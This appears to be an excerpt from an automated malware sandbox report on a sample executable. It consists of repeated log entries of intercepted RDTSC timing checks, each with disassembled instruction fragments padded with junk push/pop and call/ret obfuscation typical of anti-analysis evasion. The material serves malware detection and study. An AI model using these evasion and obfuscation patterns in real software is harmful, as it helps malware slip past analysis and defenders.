Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82683E second address: 82684B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F4E24C349D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 826991 second address: 826997 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 826997 second address: 82699B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82699B second address: 8269B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4E24C29F7Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8269B6 second address: 8269BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8269BC second address: 8269C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8269C2 second address: 8269C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 826B28 second address: 826B2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 826B2C second address: 826B38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8282F0 second address: 8282F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 829CF8 second address: 829D0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E24C349DAh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82AA41 second address: 82AA5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C29F89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82AA5E second address: 82AA81 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnp 00007F4E24C349D6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+12471ED0h], edi 0x00000013 push 00000000h 0x00000015 mov edi, 547CC353h 0x0000001a push 00000000h 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82AA81 second address: 82AAA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C29F7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4E24C29F80h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82B576 second address: 82B580 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82B2EE second address: 82B2F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82B2F2 second address: 82B311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b jmp 00007F4E24C349E3h 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82BFEE second address: 82C08C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4E24C29F7Eh 0x00000008 jmp 00007F4E24C29F86h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 pushad 0x00000014 mov ecx, dword ptr [ebp+122D1841h] 0x0000001a mov bl, 0Ch 0x0000001c popad 0x0000001d pushad 0x0000001e sub dh, 0000007Bh 0x00000021 jmp 00007F4E24C29F82h 0x00000026 popad 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push esi 0x0000002c call 00007F4E24C29F78h 0x00000031 pop esi 0x00000032 mov dword ptr [esp+04h], esi 0x00000036 add dword ptr [esp+04h], 0000001Dh 0x0000003e inc esi 0x0000003f push esi 0x00000040 ret 0x00000041 pop esi 0x00000042 ret 0x00000043 push 00000000h 0x00000045 jmp 00007F4E24C29F7Eh 0x0000004a xchg eax, ebx 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e jmp 00007F4E24C29F7Ah 0x00000053 jmp 00007F4E24C29F7Ah 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82C08C second address: 82C0AA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F4E24C349E3h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82C0AA second address: 82C0B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F4E24C29F76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82E6BF second address: 82E6C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82EB9D second address: 82EBA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82EBA1 second address: 82EBAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82EBAB second address: 82EBAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82ED85 second address: 82ED8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82ED8B second address: 82ED8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 830B09 second address: 830B28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 830B28 second address: 830B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 830B2E second address: 830B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F4E24C349D8h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 831A52 second address: 831A56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 833A5A second address: 833A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 832C22 second address: 832C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 833A5E second address: 833A64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 833A64 second address: 833A6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 833A6A second address: 833A6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 837075 second address: 837101 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4E24C29F7Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, dword ptr [ebp+122D1FE0h] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007F4E24C29F78h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D1FDAh], ebx 0x00000035 mov edi, dword ptr [ebp+122D2ACBh] 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push edi 0x00000040 call 00007F4E24C29F78h 0x00000045 pop edi 0x00000046 mov dword ptr [esp+04h], edi 0x0000004a add dword ptr [esp+04h], 0000001Bh 0x00000052 inc edi 0x00000053 push edi 0x00000054 ret 0x00000055 pop edi 0x00000056 ret 0x00000057 xchg eax, esi 0x00000058 push eax 0x00000059 jno 00007F4E24C29F88h 0x0000005f pop eax 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 push ebx 0x00000065 pop ebx 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 837101 second address: 837106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8372CF second address: 8372D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8372D3 second address: 8372E5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4E24C349D8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 839055 second address: 8390B6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F4E24C29F84h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D1D34h], ebx 0x00000014 push 00000000h 0x00000016 mov dword ptr [ebp+122D1EF0h], esi 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007F4E24C29F78h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 00000014h 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 xchg eax, esi 0x00000039 push ebx 0x0000003a pushad 0x0000003b jno 00007F4E24C29F76h 0x00000041 pushad 0x00000042 popad 0x00000043 popad 0x00000044 pop ebx 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 jnc 00007F4E24C29F76h 0x0000004f pop eax 0x00000050 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8372E5 second address: 8372E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8390B6 second address: 8390BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 83B197 second address: 83B1C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F4E24C349E5h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8382FD second address: 83830D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jo 00007F4E24C29F7Eh 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 83B252 second address: 83B259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 83B259 second address: 83B25E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 83C268 second address: 83C26C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 83B361 second address: 83B400 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C29F80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push dword ptr fs:[00000000h] 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F4E24C29F78h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d mov ebx, dword ptr [ebp+122D2BAFh] 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a mov bh, 65h 0x0000003c jmp 00007F4E24C29F84h 0x00000041 mov eax, dword ptr [ebp+122D1591h] 0x00000047 push 00000000h 0x00000049 push edi 0x0000004a call 00007F4E24C29F78h 0x0000004f pop edi 0x00000050 mov dword ptr [esp+04h], edi 0x00000054 add dword ptr [esp+04h], 00000018h 0x0000005c inc edi 0x0000005d push edi 0x0000005e ret 0x0000005f pop edi 0x00000060 ret 0x00000061 mov edi, dword ptr [ebp+122D1841h] 0x00000067 push FFFFFFFFh 0x00000069 pushad 0x0000006a sub dword ptr [ebp+122D1CCAh], esi 0x00000070 popad 0x00000071 nop 0x00000072 push eax 0x00000073 push edx 0x00000074 jo 00007F4E24C29F7Ch 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 83C26C second address: 83C27D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jl 00007F4E24C349E4h 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 83B400 second address: 83B404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 83C27D second address: 83C281 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 83B404 second address: 83B423 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4E24C29F7Dh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F4E24C29F76h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 83C281 second address: 83C2C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007F4E24C349D8h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 mov ebx, 70DC49CAh 0x00000026 push 00000000h 0x00000028 sub dword ptr [ebp+122D19FBh], edi 0x0000002e push 00000000h 0x00000030 mov edi, dword ptr [ebp+122D2997h] 0x00000036 xchg eax, esi 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 83C2C5 second address: 83C2CF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4E24C29F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 83C2CF second address: 83C2E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007F4E24C349D6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 83E24E second address: 83E253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 83E8A8 second address: 83E8AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 83C4D8 second address: 83C4F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E24C29F85h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 83C4F2 second address: 83C508 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E24C349E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 83C508 second address: 83C50C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8424CF second address: 8424D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8407B9 second address: 8407BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8407BD second address: 8407C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8407C1 second address: 8407C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 848FD2 second address: 849012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F4E24C349D6h 0x0000000c jl 00007F4E24C349D6h 0x00000012 popad 0x00000013 jmp 00007F4E24C349E6h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F4E24C349E5h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 849012 second address: 849017 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 849017 second address: 84901F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 84D9A3 second address: 84D9C2 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4E24C29F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 84D9C2 second address: 84D9F4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4E24C349D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jg 00007F4E24C349D6h 0x00000011 jng 00007F4E24C349D6h 0x00000017 pop edx 0x00000018 pushad 0x00000019 jmp 00007F4E24C349E5h 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 850D6B second address: 850D86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C29F87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 850D86 second address: 850D9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E24C349E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85680B second address: 856827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4E24C29F7Ah 0x00000011 jns 00007F4E24C29F76h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 856827 second address: 856848 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4E24C349D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007F4E24C349E0h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 856848 second address: 85684D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85684D second address: 856884 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4E24C349ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4E24C349E5h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 856884 second address: 856888 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 855582 second address: 855597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F4E24C349D6h 0x0000000a jmp 00007F4E24C349DAh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 855597 second address: 8555A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F4E24C29F76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 855B7E second address: 855B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 855B82 second address: 855B95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C29F7Ch 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 855CF7 second address: 855D0F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4E24C349D6h 0x00000008 jmp 00007F4E24C349DEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 855D0F second address: 855D22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F4E24C29F76h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 856213 second address: 856222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 ja 00007F4E24C349DEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
